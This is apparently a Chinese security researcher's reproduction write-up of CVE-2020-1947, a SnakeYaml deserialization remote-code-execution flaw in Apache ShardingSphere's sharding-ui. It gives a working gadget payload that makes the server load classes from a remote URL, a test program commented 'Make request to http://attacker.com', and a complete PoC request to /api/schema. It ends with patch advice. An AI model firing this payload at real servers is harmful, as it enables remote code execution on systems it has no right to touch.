复现方法参考:
https://github.com/apache/incubator-shardingsphere/tree/master/shardingsphere-ui
git clone https://github.com/apache/incubator-shardingsphere.git
cd incubator-shardingsphere/shardingsphere-ui/
mvn clean package -Prelease
花费时间太长…
使用另外一种:
wget https://mirror-hk.koddos.net/apache/incubator/shardingsphere/4.0.0/apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz
tar zxf apache-shardingsphere-incubating-4.0.0-sharding-ui-bin.tar.gz
cd apache-shardingsphere-incubating-4.0.0-sharding-ui-bin
bin/start.sh
环境搭建参考:
[Shardingsphere]sharding-ui的安装与使用
PoC代码:
https://github.com/shadowsock5/ShardingSphere_CVE-2020-1947
下载zookeeper:
https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz
安装zookeeper,修改zoo.cfg,然后启动在2181端口。
一定要启动zookeeper,否则登陆的时候会出现403:
启动zookeeper之后:
然后要添加注册中心,否则会提示这种错误:No activated registry center!
。
注册成功之后:
添加完注册中心之后,看看这个东西有哪些功能:
点了几下,也只有这里了。还愣着干啥!
添加一个测试之后发现响应了400,然后在lib包下搜索了一些关键的请求字段无果,只要从日志里看有没有打印堆栈信息:
找到这几个
java.lang.IllegalArgumentException: rule configuration is invalid.
at org.apache.shardingsphere.ui.servcie.impl.ShardingSchemaServiceImpl.checkRuleConfiguration(ShardingSchemaServiceImpl.java:90)
at org.apache.shardingsphere.ui.servcie.impl.ShardingSchemaServiceImpl.addSchemaConfiguration(ShardingSchemaServiceImpl.java:72)
at org.apache.shardingsphere.ui.web.controller.ShardingSchemaController.addSchema(ShardingSchemaController.java:64)
这就够了,知道去哪里下断点了。
调试
在lib\sharding-ui-backend-4.0.0.jar!\org\apache\shardingsphere\ui\web\controller\ShardingSchemaController#addSchema
下断点。
TL;DR
在lib\sharding-ui-backend-4.0.0.jar!\org\apache\shardingsphere\ui\servcie\impl\ShardingSchemaServiceImpl#addSchemaConfiguration 下断点,
50行,检查请求中name
的值是否已经存在;
51行,检查请求中ruleConfiguration
的值是否负责规则(后续分析得知要按照一定的格式写,我按照YamlMasterSlaveRuleConfiguration类的几个属性值的格式写然后检查通过了);
52行,解析dataSourceConfiguration
字段值,使用yaml#load()进行反序列化操作,执行payload。
调试过程
咱先不知道payload怎么写,先测试一下:
POST /api/schema HTTP/1.1
{"name":"test schema","ruleConfiguration":"runleconfilg","dataSourceConfiguration":"datasource"}
(F7调试跟不到,就直接运行了。)
可以看到这里通过
org.apache.shardingsphere.core.yaml.engine.YamlEngine.unmarshal(data, YamlMasterSlaveRuleConfiguration.class)
这里的data是我们请求中ruleConfiguration
的值runleconfilg
。
官方的commit应该是:
https://github.com/apache/incubator-shardingsphere/commit/7065af6ac03aebfdb81150f10dd1c2fc7798cff8
看一下新加的测试用例怎么写的:
https://github.com/apache/incubator-shardingsphere/blob/7065af6ac03aebfdb81150f10dd1c2fc7798cff8/sharding-core/sharding-core-common/src/test/java/org/apache/shardingsphere/core/yaml/engine/YamlEngineTest.java
大概知道了格式
Map<String, Object> actual = (Map<String, Object>) YamlEngine.unmarshal("password: pwd\nauthorizedSchemas: db1", Collections.<Class<?>>emptyList());
所以lib\sharding-ui-backend-4.0.0.jar!\org\apache\shardingsphere\ui\util\ConfigurationYamlConverter#loadMasterSlaveRuleConfiguration(String data)
这一句:
YamlEngine.unmarshal(data, YamlMasterSlaveRuleConfiguration.class)
需要我们提供的data的格式是YamlMasterSlaveRuleConfiguration
类的格式。
去找一个YamlMasterSlaveRuleConfiguration
类的定义,有以下五个属性:
于是构造了以\n
分割的数据:
"ruleConfiguration":"name: test_by_cqq\nmasterDataSourceName: test_by_cqq2\nloadBalanceAlgorithmType: test_by_cqq3"
果然那边讲输入赋值到各个属性里了。
看来原来这五个值都可以通过输入指定。
但是第五个不知道怎么构造,先构造前面四个吧,第三个是一个List注意一下:
name: 1\nmasterDataSourceName: 2\nslaveDataSourceNames: [1,2,3]\nloadBalanceAlgorithmType: 4\n
看来格式构造成功了,进入下一步了:
this.checkDataSourceConfiguration(dataSourceConfiguration);
这时候我们之前请求中设置的dataSourceConfiguration
值为http://go8qz59dtwhxsgsh06vs7uds2j89wy.burpcollaborator.net/ssrf2
,看看它怎么处理。
原来这一步还要进行
YamlEngine.unmarshal
操作,不过这次没有必须按照哪个类的格式unmarshal
。
继续跟进:
看到这里,发现进入了第三方库的领域,
就不继续跟了,这方面的API应该有一些教程,看看这里是干什么的。
Parse the only YAML document in a String and produce the corresponding Java object.
来自:http://javadox.com/org.yaml/snakeyaml/1.13/org/yaml/snakeyaml/Yaml.html#load(java.lang.String)
然后yaml反序列化之前应该也出过漏洞,
Java版本参考:
https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
关于YAML的介绍:
YAML是”YAML Ain’t a Markup Language”(YAML不是一种标记语言)的递归缩写,是一个可读性高、用来表达数据序列化的格式,类似于XML但比XML更简洁。
在Java中,有一个用于解析YAML格式的库,即SnakeYaml。
Python版本参考:
https://www.mi1k7ea.com/2019/01/01/PyYAML%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
SnakeYaml反序列化漏洞
原理:
因为SnakeYaml支持反序列化Java对象,所以当
Yaml#load()
函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。
为了理解原理参考这篇博客,先搭建测试环境:
javac -cp C:\Users\Administrator\.m2\repository\org\yaml\snakeyaml\1.19\snakeyaml-1.19.jar YamlTest.java
java -cp C:\Users\Administrator\.m2\repository\org\yaml\snakeyaml\1.19\snakeyaml-1.19.jar;. YamlTest
(注意分割classpath在Windows中是用;
,而linux中是使用:
)
内容如下:
import org.yaml.snakeyaml.Yaml;
public class YamlTest {
public static void main(String[] args) {
//可触发反序列化漏洞的使用方式
String malicious = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader "
+ "[[!!java.net.URL [\"http://127.0.0.1:8000/\"]]]]";
Yaml yaml = new Yaml(); // Unsafe instance of Yaml that allows any constructor to be called.
Object obj = yaml.load(malicious); // Make request to http://attacker.com
}
}
(注意端口号后面的path/
一定要加!)
这里的YamlTest是模拟的Yaml#load()
的内容是用户可控的服务端漏洞程序。
Demo:
测试成功之后,测试ShardingSphere的服务:
最终的PoC请求为:
POST /api/schema HTTP/1.1
Host: 192.168.85.129:8088
Access-Token: <your valid token>
Content-Type: application/json;charset=utf-8
Connection: close
Content-Length: 285
{"name":"test schema","ruleConfiguration":"name: 1\nmasterDataSourceName: 2\nslaveDataSourceNames: [1,2,3]\nloadBalanceAlgorithmType: 4\n","dataSourceConfiguration":"!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://192.168.85.129:8888/\"]]]]"}
虽然会响应400,
但是命令已经执行成功了。
影响版本
Apache ShardingSphere < =4.0.0
处置建议
- 安装最新版本,https://github.com/apache/incubator-shardingsphere/releases
- 修改admin默认密码(
incubator-shardingsphere-4.0.0/sharding-ui/sharding-ui-backend/src/main/resources/application.properties
),然后重启。
参考
- 【安全风险通告】Apache ShardingSphere远程代码执行漏洞安全风险通告
- https://www.anquanke.com/post/id/200554
- https://github.com/Imanfeng/CVE-2020-1947
- https://github.com/jas502n/CVE-2020-1947
- https://www.cnblogs.com/ph4nt0mer/p/12469473.html